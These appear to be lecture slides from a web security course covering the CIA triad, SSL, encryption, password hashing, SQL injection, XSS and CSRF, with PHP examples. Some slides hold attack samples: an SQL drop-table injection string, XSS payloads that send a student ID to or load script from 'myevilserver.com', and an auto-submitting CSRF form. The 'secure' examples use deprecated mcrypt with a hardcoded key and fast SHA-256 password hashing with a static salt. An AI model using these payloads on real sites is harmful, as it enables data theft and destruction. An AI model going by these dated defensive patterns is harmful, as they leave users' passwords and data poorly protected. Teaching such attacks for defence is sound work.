What does “ Security ” encompass?

1. What does “Security” encompass? • One viewpoint: NIST FIPS 199 • 3 key objectives: • Confidentiality • Integrity • Availability http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf

2. Confidentiality • “Preserving authorized restrictions on information access and disclosure, including means for protecting personal privacy and proprietary information” • In short: Keeping secrets secret • This is the primary linkage between security and data privacy laws and regulations such as HIPAA • Example of a threat: packet sniffing

3. Integrity • “Guarding against improper information modification or destruction, and includes ensuring information non-repudiation and authenticity” • In short: Not letting data get trashed • Example of a threat: impersonation in order to achieve data modification

4. Availability • “Ensuring timely and reliable access to and use of information” • In short: People can get their data • How much would people complain if they couldn’t get to certain information? That tells you whether availability is important. • Can be assessed using Business Impact Analysis (BIA) • Example of a threat: denial of service attack

5. Confidentiality != Integrity != Availability • Reminder • Confidentiality: Secrets stay secret • Integrity: Data don't get trashed • Availability: People can get their data • Example: Stealing a copy of unencrypted file • Confidentiality: fail; integrity and availability: ok • Example: Appending false facts to a file • Integrity: fail; confidentiality and availability: ok • Example: Moving (hiding) somebody's file • Availability: fail; confidentiality and integrity: ok

6. Some key web security concerns • Logging of URLs • Impersonation • Autocomplete • Man-in-the-middle • Bots and denial-of-service • Theft of data • Encrypting data yourself • Hashing passwords • Injection attacks (later lecture) • Cross-site forgery (later lecture)

7. Logging of URLs • ASSUME that all URLs are logged somewhere • Probably on your webserver, maybe elsewhere • This includes ALL GET parameters • So NEVER EVER send ANY data as a GET parameter if it needs to be kept confidential • Passwords, credit card numbers, student ID numbers, etc.

8. Impersonation • This is where user X pretends to be user Y • So X can see Y's data (confidentiality: fail) • So X can delete Y's data (integrity+availability: fail) • How to prevent? • Just make everybody authenticate before they can access any data that must be kept confidential or whose integrity & availability must be protected

9. Autocomplete • These days, most browsers will kindly try to save users' data and auto-fill forms • Includes passwords • Potential for impersonation • Threatens confidentiality+integrity+availability • To disable… <form autocomplete="off" … > … <input type="text" autocomplete="off" … > …

10. Man-in-the-middle • The browser doesn't talk directly to the server • It talks to the operating system, which sends data on wireless or a cable to a router, which forwards the data to another network, etc. • And anywhere along the way, somebody could view and log the data values as they go by • Including passwords (even if sent by POST) • Solution: Encrypt the data • To do this, you install an SSL server certificate

11. Overview of how to set up SSL • Lease some PHP hosting (server) space • Lease rights to a domain (also known as "registering a domain") • E.g., buy "mydomain.com" for a year • Log into a server owned by the people from whom you leased the domain name & indicate the IP address of your leased server • E.g., map "www.mydomain.com" to 69.25.142.5 • Lease an SSL certificate (file) that contains cyptographic keys for your specified domain • Log into your PHP server, put a copy of your certificate onto it, and restart your server  Anybody who connects to your server via https will have a totally (2-way) encrypted connection… voila, no more man-in-the-middle attacks

12. Bots and denial-of-service • A browser is just a program • Somebody could create another program that calls your server & pretends to be a browser • This is called a "bot" • And the bot can be installed on lots of computers • Say, machines that a bad person has hacked ("botnet") • If the program hits your often enough, legit requests won't get through • This is called "denial of service" • Availability threat (not confidentiality or integrity)

13. How to beat denial-of-service • Still not a "solved problem" • Partial solutions that reduce the threat: • Replicate onto lots of servers • Use a custom operating system (or web server or router) that filters out suspicious traffic • Redesign the app with a peer-to-peer architecture rather than a client-server architecture • I.e., it's not a web application any more

14. Theft of data • Suppose • Your web application has no obvious security holes… • But the people you're leasing a server from are shady (or inept)… • And somebody steals your database!!! • Could be a huge threat to confidentiality, integrity, availability • E.g., if unencrypted passwords are in the database, the thief can launch an impersonation attack • Worse: what if somebody steals credit cards?

15. Theft of data isn't just for databases • Suppose • Your web application has no obvious security holes… • But your users are absolutely clueless (they don't even know what antivirus is)… • And somebody hacks their hard drives!!! • Could be a huge threat to confidentiality, integrity, availability • E.g., if unencrypted passwords are in cookies, the thief can launch an impersonation attack • Worse: storing credit cards in autocomplete or cookies

16. Mitigating theft of data • Simple solution • Encrypt all data that needs to be kept confidential • Before inserting into permanent storage • Databases • Files • Cookies • Etc.

17. Some example code <?php $secretInfo = '6011000000000004'; // credit card $keyForEncryptingAndDecrypting = 'montague1300!'; $iv = '37492910'; // any 8 digits $encryptionCipher = mcrypt_module_open(MCRYPT_BLOWFISH,'','cbc',''); mcrypt_generic_init($encryptionCipher, $keyForEncryptingAndDecrypting, $iv); $asEncrypted = base64_encode(mcrypt_generic($encryptionCipher, $secretInfo)); mcrypt_generic_deinit($encryptionCipher); mcrypt_generic_init($encryptionCipher, $keyForEncryptingAndDecrypting, $iv); $afterDecryption = mdecrypt_generic($encryptionCipher, base64_decode($asEncrypted)); mcrypt_generic_deinit($encryptionCipher); echo $secretInfo . " -> " . $asEncrypted . " -> " . $afterDecryption; ?> // note: $asEncrypted can be pretty long

18. Now you need to keep your key safe • You also need to keep your database username and password safe, incidentally • Most PHP hosts (servers) allow this: • Any lines of code that need to be kept secure can be placed in a file stored "above" your web application /store/them/here/config.inc Instead of /store/them/here/myweb_server_root/myfile.php • And then include the values when you need them • <?php include '../config.inc'; ?>

19. Incidentally, you don't actually need to store passwords in the database • An even more secure option is to store a random-ish number computed based on the password (called a "hash") • When user sends a password: • Hash the password • Compare to the hashed password in the database

20. Example code: Hashed passwords // when initializing database $usr = 'ricky'; $pwd = 'mypassword'; $insertthis = base64_encode(hash('sha256',$pwd)); mysql_query("insert into users(usr,pwd) values('".$usr."','".$insertthis."')"); // when you receive a username & password later on (user is trying to log in) $usr = $_REQUEST["usr"]; $pwd = $_REQUEST["pwd"]; $checkthis = base64_encode(hash('sha256',$pwd)); $rs2 = mysql_query("select usr from users where usr='" . mysql_real_escape_string($usr) . "' and pwd='" . mysql_real_escape_string($checkthis) . "'"); $_SESSION["usr"] = (mysql_numrows($rs2) > 0 ? $usr : "");

21. Even more secure… hash password concatenated with some random string // when initializing database $usr = 'ricky'; $pwd = 'mypassword'; $insertthis = base64_encode(hash('sha256',$pwd . "blahblahblah102020")); mysql_query("insert into users(usr,pwd) values('".$usr."','".$insertthis."')"); // when you receive a username & password later on (user is trying to log in) $usr = $_REQUEST["usr"]; $pwd = $_REQUEST["pwd"]; $checkthis = base64_encode(hash('sha256',$pwd . "blahblahblah102020")); $rs2 = mysql_query("select usr from users where usr='" . mysql_real_escape_string($usr) . "' and pwd='" . mysql_real_escape_string($checkthis) . "'"); $_SESSION["usr"] = (mysql_numrows($rs2) > 0 ? $usr : "");

22. Key points to remember • Objectives: Keep secrets secret, don't let data get trashed, make sure people can get data • Things to remember: • Never send confidential data via GET • Use SSL to prevent man-in-the-middle attacks • Replication is a partial solution to denial-of-service • Encrypt sensitive data values before storing • Except for passwords: hash those instead

23. Some key web security concerns • Logging of URLs • Impersonation • Autocomplete • Man-in-the-middle • Bots and denial-of-service • Theft of data • Encrypting data yourself • Hashing passwords • Injection attacks (this lecture) • Cross-site forgery (next lecture) Covered in lastlecture

24. Injection attacks • Injection: Inserting something into your code that does not belong there • Major threat to confidentiality, integrity, and availability • Probably the most common mistake in web apps is leaving the door open to injection

25. Structure of an injection attack • Receive data from outside your system • User, another server, … anything you don’t control • Your system stores the data • Variable, session, database, file, … anywhere • Your system uses the data • Print on web page, insert into SQL, … anything, without taking precautions against evil data • Evil events transpire…

26. Example: SQL injection attackDO NOT COPY-PASTE THIS CODE mysql_query("update mytable set mycolumn = '" . $_RESULT["param"] . "'") Evil user sends param = "x'; drop table mytable;" Your silly program executes… update mytable set mycolumn = 'x'; drop table mytable; Poof, no more table.

27. Preventing SQL injection attack • Option #1: Validate all inputs, reject evil inputs • Regexps work pretty well on numbers • Option #2: Use mysql_real_escape • Works pretty well for strings • Option #3: Use prepared statements • No need to concatenate

28. Example: HTML/JS injection attackDO NOT COPY-PASTE THIS CODE // $sid is current user's confidential student id // let's make a system for sending tweets to students $rs = mysql_query("select msgfrom tweets where sid=".$sid); $nrows=mysql_numrows($rs); echo "<h1>Tweets for you, student ".$sid."</h1>"; for ($i = 0; $i < $nrows; $i++) { echo mysql_result($rs,$i,"msg") . "<br>"; } But some evil person has sent this evil tweet: message equal to <script>varsid = $("h1").text(); document.write("<imgsrc='http://www.myevilserver.com/a.php?"+sid+"'>");</script> What happens: • This script gets written into the list of tweets. • The current user's browser runs this nasty little script. • The script generates an IMG tag, with src attribute including the student's confidential ID. • The browser dutifully sends this confidential data to www.myevilserver.com

29. Example: HTML/JS injection attackDO NOT COPY-PASTE THIS CODE Or, suppose our evil person has sent this evil tweet: message equal to <script src="http://www.myevilserver.com/warez.html"></script> What happens: • This script gets written into the list of tweets. • The current user's browser runs this nasty little script DIRECTLY off of the other server • Also known as "cross-site scripting attack" (XSS) • Can also be accomplished with an <iframe> • Continue attack in same manner as before…

30. But oh, the evils of "cross-site scripting" can be bad in so many ways • Potential consequences of cross-site scripting • Stealing data from the page • Confidentiality fail • Submitting forms on the user's behalf • E.g., by clicking buttons on the page: integrity fail • Downloading code to the user's computer • E.g., by taking advantage of unpatched security holes in the user's browser

31. And once Dr. Evil has taken over the user's computer… • Install a virus that reads everything on the user's computer • Including credit card numbers and passwords • Then tells your user's computer to attack other computers • Making your user's computer into a bot • And finally deletes everything on the machine • Leaving a smoldering ruin

32. Summary of what happens when you don't protect your users • Evil person puts SCRIPT or IFRAME tags into data used by your site (e.g., tweet database) • Your site sends the data in HTML/JS to some other unsuspecting user • The user's browser executes the SCRIPT or IFRAME tags • The SCRIPT or IFRAME tags make the browser execute JS from some evil site • The evil site's JS hacks the user's computer • The user's computer is totally compromised

33. Preventing HTML/JS injection(including XSS attacks) • The fix is very simple: Do not write any special html characters to the browser unless you know for absolutely certain that they are safe • Use htmlspecialchars() when you need to generate HTML (not JS) from questionable strings • htmlspecialchars($str) converts < to &lt; (and has other effects on other characters)

34. Strategy for fighting injection attacks • This always works for all injection attacks of any sort whatsoever (e.g., SQL, HTML, JS): Clean all data before you use it • Example: • Clean with mysql_real_escape before using in SQL • Clean with htmlspecialchars before using in HTML

35. Alternate option for preventing injection • In addition, you might want to Clean data just after arrival • Example: • Clean all data after reading it from database, from another server, from users, from files, from anywhere

36. Clean data just after arrival…Not always easy • When data arrives, you don't always know how it will eventually be used • So you don't know exactly how it needs to be cleaned • Are you trying to remove apostrophes ' because it's going to be used in SQL? • Or are you trying to remove open brackets < because it's going to be used in HTML/JS?

37. Bottom line • Always clean data before use • Don't assume data have ever been cleaned before • Clean data • Before you use data for SQL statements • Before you use data to generate HTML/JS • Before you use data to call other servers • ETC

38. Final little puzzlerDO NOT COPY-PASTE THIS CODE • What is the problem & how would you fix it? $rs = mysql_query("select msg from tweets where sid=".$sid); $nrows=mysql_numrows($rs); if ($nrows > 0) { echo "<script>alert('The last tweet to you was "; echo htmlspecialchars(mysql_result($rs,0,"msg")); echo "');</script>"; }

39. Final little puzzler • Hint: Sometimes you need a little more than just the default htmlspecialchars() behavior. • Check the htmlspecialchars() documentation to learn more about why. http://php.net/manual/en/function.htmlspecialchars.php

40. Some key web security concerns • Logging of URLs • Impersonation • Autocomplete • Man-in-the-middle • Bots and denial-of-service • Theft of data • Encrypting data yourself • Hashing passwords • Injection attacks (last lecture) • Cross-site forgery (current lecture) Covered in earlier lecture

41. Cross-site request forgery attack • Cross-site request forgery (CSRF): Trick user's browser into trashing your site • Very complex but important attack • Very hard to defend against • I'd guess that nearly every site on the web is susceptible to this attack, at some level

42. How CSRF works Browser Your server Some other server User submits login form to your server Server sends back session cookie; browser is now logged in User decides to visit another site The other server sends back HTML or JS… That causes the user's browserto send bad commands toyour server

43. Key points • User has to already be logged into your site • For example, as a site administrator who is allowed by your site to insert/delete DB data • User has to access another site • The other site has to have a way of telling the browser to send commands to your site

44. "Send commands to your site"? • Sure, the other server just has to send back… <form id="badform" method="post" action="http://yourserver.com/dbdelete.php"> <input type="text" name="id" value="100"> </form><script>$("#badform").get(0).submit();</script>

45. What happens then… • The browser reads the FORM and SCRIPT • It executes the JS, automatically submitting the form • The browser posts the data to your web page • Your PHP probably checks that the user is logged in • Yup… the session cookie took care of that • And then your PHP acts on the command • In this case, to delete some data

46. Even worse: Making the attack invisible • Instead of outputting the form and JS directly, instead output a 1 pixel x 1 pixel IFRAME • And then output the form and the JS inside the IFRAME • The user will never notice

47. Even worse: Damaging lots of data • Instead of outputting just one IFRAME, output a bunch of IFRAMES, each containing a form • Then autosubmit all of the IFRAMES one after another… trash the entire database • Major integrity fail • (In fact, the FORM and IFRAME tags even have attributes that would make it possible to do this by reusing one IFRAME)

48. Even worse: Combine with XSS • Instead of outputting a FORM that submits a relatively harmless data-deletion command, instead tell the browser to send evil data • E.g., SCRIPT tag as shown in the previous lecture • And if your site doesn't protect against cross-site scripting (again, see previous lecture), then other users can be attacked

49. Preventing CSRF is a huge pain • Reduces but does not eliminate the risk: • Use very short sessions • Always check the referer header • Options for eliminating the risk: • Require a custom http header • Create a special token that must be present

50. Option #1: Use very short sessions • There is a tradeoff: • You can use long sessions: Increased usability • Users don't get logged of automatically if they step away for coffee • You can use short sessions: Increased security • Session cookies time out fast, so they have to be stolen fast if they are going to be of any use • Therefore, the users are only susceptible to CSRF for a short amount of time